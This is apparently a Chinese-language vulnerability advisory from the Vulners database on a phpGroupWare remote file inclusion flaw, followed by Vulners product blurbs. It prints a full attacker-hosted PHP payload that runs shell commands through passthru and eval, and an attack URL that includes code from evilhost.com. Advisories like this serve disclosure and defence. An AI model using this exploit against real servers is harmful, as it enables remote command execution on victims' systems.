攻击者可以在某个自己控制的主机上建立一个目录phpgwapi,并在下面创建一个
phpgw_info.inc.php文件,其内容如下:
<?php
// PHP code to be executed
$phpcode = '
echo( Hi there!<BR> );
passthru( id );
';
// If we were called via remote include, send the code to be
// executed
if (substr($HTTP_SERVER_VARS[ HTTP_USER_AGENT ], 0, 3) == PHP )
echo( <?php $phpcode ?> );
else
// Otherwise we're being executed on the target web server already,
// so simply evaluate the code
eval($phpcode);
exit();
?>
则调用下列命令可能发动攻击:
http://target/phpgroupware/inc/phpgwapi/phpgw.inc.php?phpgw_info[server][include_root]=
http://evilhost.com/~shaun
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation